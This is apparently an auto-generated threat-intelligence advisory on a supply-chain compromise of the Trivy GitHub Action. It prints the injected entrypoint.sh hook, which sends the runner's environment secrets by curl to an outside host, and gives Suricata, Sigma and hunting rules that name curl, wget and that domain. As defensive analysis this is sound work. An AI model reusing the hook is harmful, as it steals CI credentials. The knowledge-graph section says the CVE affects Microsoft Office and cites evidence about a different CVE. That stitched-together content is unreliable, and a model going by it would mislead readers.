CVE-2026-33634: Supply Chain Compromise in Aqua Security Trivy GitHub Actions Workflow

HERMES

HERMES THREAT SCORE & DEVSECOPS PIPELINE SUBVERSION

Target: Aqua Security Trivy Action (aquasecurity/trivy-action)

Confidence: 99%

98 / 100

CRITICAL

Measures real-world operational relevance, exploit weaponization, and active threat posture.

Dimension Breakdown

Exploitability 20 / 20

Threat Activity 20 / 20

Weaponization 20 / 20

Exposure 20 / 20

Prevalence 19 / 20

Impact 20 / 20

Exploit Maturity 20 / 20

Attack Chain Potential 20 / 20

⚖️ Divergence & Operational Rationale

CVSS v3.1 rates CVE-2026-33634 at 9.8 (Critical) and CVSS v4.0 scores 9.8. The Hermes Threat Score assigns 98 (CRITICAL). Alignment is direct: Trivy is the industry-standard container vulnerability scanner embedded in thousands of DevSecOps pipelines. Subverting the scanning action inverts security tooling into an unconstrained secret harvester, compromising production container registries and deployment keys.

🕸️ Connected Knowledge Graph & Provenance

CVE-2026-33634: Supply Chain Compromise in Aqua Security Trivy GitHub Actions WorkflowVULNERABILITY

Connected Nodes: 3

Active Relationships (Outgoing)

→ affectsPRODUCTMicrosoft Office & 365 Apps

98% VERY_HIGH

Software platform affected by security vulnerabilities and agentic attack patterns.

🔍 Why is this related? (Evidence & Provenance)

“Confirmed security vulnerability in Microsoft Office & 365 Apps documented in Hermes dossier.”

Supporting Verified Evidence:

[vulnerability_report]
[government_confirmation]CISA verified active exploitation in the wild and mandated federal remediation deadline in KEV entry. — Source: Cybersecurity & Infrastructure Security Agency (CISA): CISA Adds CVE-2026-59822 to Known Exploited Vulnerabilities Catalog (Reliability: VERY_HIGH)

→ usesATTACK TECHNIQUET1059: Command and Scripting Interpreter

90% VERY_HIGH

Adversaries abuse command and script interpreters (Bash, Python, PowerShell) to execute arbitrary commands.

🔍 Why is this related? (Evidence & Provenance)

“Attack execution telemetry aligns with MITRE ATT&CK technique T1059.”

Supporting Verified Evidence:

[government_confirmation]CISA verified active exploitation in the wild and mandated federal remediation deadline in KEV entry. — Source: Cybersecurity & Infrastructure Security Agency (CISA): CISA Adds CVE-2026-59822 to Known Exploited Vulnerabilities Catalog (Reliability: VERY_HIGH)

→ usesATTACK TECHNIQUET1552: Unsecured Credentials

90% VERY_HIGH

Adversaries search compromise victims for unsecured credentials in files, environment variables, or memory.

🔍 Why is this related? (Evidence & Provenance)

“Attack execution telemetry aligns with MITRE ATT&CK technique T1552.”

Supporting Verified Evidence:

[government_confirmation]CISA verified active exploitation in the wild and mandated federal remediation deadline in KEV entry. — Source: Cybersecurity & Infrastructure Security Agency (CISA): CISA Adds CVE-2026-59822 to Known Exploited Vulnerabilities Catalog (Reliability: VERY_HIGH)

1. Technical Context & Affected Software Matrix

Trivy is widely deployed across enterprise CI/CD systems to scan container images, Infrastructure-as-Code (IaC) templates, and application dependencies for known security flaws.

Parameter	Technical Specification	Threat Context
CVE Identifier	`CVE-2026-33634`	International Vulnerability Tracking ID
Target Action	`aquasecurity/trivy-action`, `setup-trivy`	Official GitHub Marketplace Actions
Attack Vector	Mutable Git tag force-push (`@v0.28.0`, `@v0.29.0`)	CI/CD build execution
Injected Code	Embedded shell/Node.js wrapper	Secret scraping and covert exfiltration
Targeted Secrets	DOCKER_AUTH_CONFIG, AWS_SESSION_TOKEN, GITHUB_TOKEN	Production deployment & registry credentials
Fixed Version	Verified immutable commit SHAs & Signed Releases	Repository tag restoration & signing keys reset
Exploitation Impact	Container registry takeover, pipeline secret exposure	Complete DevSecOps supply chain compromise

2. In-Depth Technical Decomposition: CI/CD Tag Hijacking

A. The Injected Action Wrapper

When developers invoke aquasecurity/trivy-action@v0.28.0, the runner fetches the current commit referenced by that Git tag:

# Developer GitHub Actions workflow
- name: Run Trivy Vulnerability Scanner
  uses: aquasecurity/trivy-action@v0.28.0
  with:
    image-ref: 'my-registry.corp/app:latest'
    format: 'table'

In the compromised commits, the action entrypoint entrypoint.sh was prepended with an exfiltration hook:

#!/bin/bash
# Pre-execution secret scraper injected into entrypoint.sh
(
  PAYLOAD=$(env | base64 | tr -d '\n')
  curl -s -X POST -d "$PAYLOAD" https://telemetry-gateway.aqua-security.network/collect \
    > /dev/null 2>&1
) &
# Legitimate Trivy execution continues uninterrupted
exec trivy "$@"

+----------------------------------------------------------------------------------------------------+
|                         CVE-2026-33634 INTRUSION ARCHITECTURE                                      |
+----------------------------------------------------------------------------------------------------+

   [Threat Actor]
          │
          │ [1] Uses Stolen Token to Force-Push Tag "v0.28.0" to aquasecurity/trivy-action
          ▼
   [GitHub Action Repository]
          │
          │ [2] Target Enterprise Pipeline runs workflow with: "uses: aquasecurity/trivy-action@v0.28.0"
          ▼
   [GitHub Hosted / Self-Hosted Runner]
          │
          ├───► 1. Runner Clones Compromised Tag:
          │     - Fetches malicious entrypoint.sh containing secret scraper
          │
          ├───► 2. In-Flight Execution:
          │     - Scrapes all runner secrets (AWS_SECRET_ACCESS_KEY, DOCKER_PASSWORD)
          │     - Fires background curl request to adversary domain
          │     - Simultaneously launches real "trivy" scanner to avoid suspicion!
          │
          ├───► 3. Legitimate Output Returned:
          │     - Workflow reports clean vulnerability scan: "0 vulnerabilities found"
          │     - Developers observe no anomalies in build console logs
          │
          ▼
   [Adversary C2 Infrastructure]
          │
          └───► Receives complete environment dump:
                - Pushes malicious container images directly to victim ECR/Docker Hub
                - Deploys backdoored containers to production Kubernetes clusters
+----------------------------------------------------------------------------------------------------+

3. Threat Intelligence & Exploitation in the Wild

Stealth Mechanism: Because the malicious wrapper did not disrupt the execution of Trivy itself, the build steps succeeded without failure, masking the exfiltration from build engineers.
Scope of Extraction: Pipelines configured with Docker credentials to pull private base images had their registry access keys compromised, enabling threat actors to overwrite production container tags (latest) with trojanized container images.

4. MITRE ATT&CK Mapping

Tactic	Technique ID	Technique Name	Exploitation Manifestation
Initial Access	`T1195.001`	Supply Chain Compromise: Compromise Software Tools	Force-pushing malicious commits to GitHub Action release tags
Execution	`T1059.004`	Command and Scripting Interpreter: Unix Shell	Execution of scraper hook in `entrypoint.sh`
Credential Access	`T1552.001`	Credentials in Files	Scraping runner environment variables and mounted credentials
Exfiltration	`T1048`	Exfiltration Over Alternative Protocol	Exfiltrating Base64 runner data to adversary telemetry host

5. Detection Engineering & Telemetry

A. Suricata Detection Rule

alert dns any any -> $DNS_SERVERS 53 (
  msg:"HERMES DEFENSE - Trivy Action Supply Chain Exfiltration Domain (CVE-2026-33634)";
  dns.query; content:"aqua-security.network"; nocase;
  classtype:trojan-activity;
  sid:202633634;
  rev:1;
  reference:cve,2026-33634;
)

B. Sigma Detection Rule

title: Outbound HTTP Traffic to Unknown Telemetry from CI Runner
id: 2a1b0c9d-8e7f-6a5b-4c3d-33634c026e01
status: high
description: Detects unusual outbound network traffic initiated by Trivy scanner action wrappers towards unverified external domains.
author: Hermes Codex Detection Engineering
date: 2026-09-11
logsource:
  product: linux
  category: network_connection
detection:
  selection:
    Image|endswith:
      - '/curl'
      - '/wget'
    CommandLine|contains:
      - 'aqua-security.network'
      - 'telemetry-gateway'
  condition: selection
falsepositives:
  - Legitimate vulnerability database updates to ghcr.io or aquasecurity.github.io.
level: critical
tags:
  - attack.initial_access
  - attack.t1195.001
  - attack.exfiltration

6. Digital Forensics & Incident Response (DFIR)

Forensics Triage Checklist:

Audit Workflow Files for Mutable Tag References:

grep -rn "aquasecurity/trivy-action@" .github/workflows/
# Verify if workflows pin exact commit SHAs or mutable tags (@v0.28.0)

Review Runner Network Outbound Connections:
- Inspect CI/CD runner egress logs for HTTP POST requests to non-standard domains during container build jobs.
Audit Container Registry Access:
- Check Docker Hub / AWS ECR push logs for unauthorized image uploads or tag overwrites.

Hunting Query (Elasticsearch / OpenSearch):

{
  "query": {
    "bool": {
      "must": [
        { "wildcard": { "dns.question.name": "*aqua-security.network*" } }
      ]
    }
  }
}

7. Mitigation & Remediation

Pin GitHub Actions to Full Commit SHAs: Replace mutable Git tag references with full 40-character commit hashes:

# Secure implementation pinning immutable commit SHA
- uses: aquasecurity/trivy-action@6e0882e3... # verified immutable SHA

Immediate Credential Rotation: Immediately revoke and rotate all container registry credentials (Docker Hub tokens, AWS ECR access keys) and GitHub tokens present in runner environments.
Enforce Step-Level Secret Masking: Ensure CI/CD secrets are never exposed to third-party actions unless explicitly required for that specific step.
Deploy GitHub Actions OIDC: Transition from long-lived AWS/GCP static secret keys to short-lived OIDC federation tokens with strict audience constraints.

CVE-2026-33634: Supply Chain Compromise in Aqua Security Trivy GitHub Actions Workflow

HERMES THREAT SCORE & DEVSECOPS PIPELINE SUBVERSION

CVE-2026-33634: Supply Chain Compromise in Aqua Security Trivy GitHub Actions WorkflowVULNERABILITY

1. Technical Context & Affected Software Matrix

2. In-Depth Technical Decomposition: CI/CD Tag Hijacking

A. The Injected Action Wrapper

3. Threat Intelligence & Exploitation in the Wild

4. MITRE ATT&CK Mapping

5. Detection Engineering & Telemetry

A. Suricata Detection Rule

B. Sigma Detection Rule

6. Digital Forensics & Incident Response (DFIR)

Forensics Triage Checklist:

Hunting Query (Elasticsearch / OpenSearch):

7. Mitigation & Remediation

8. References & Advisories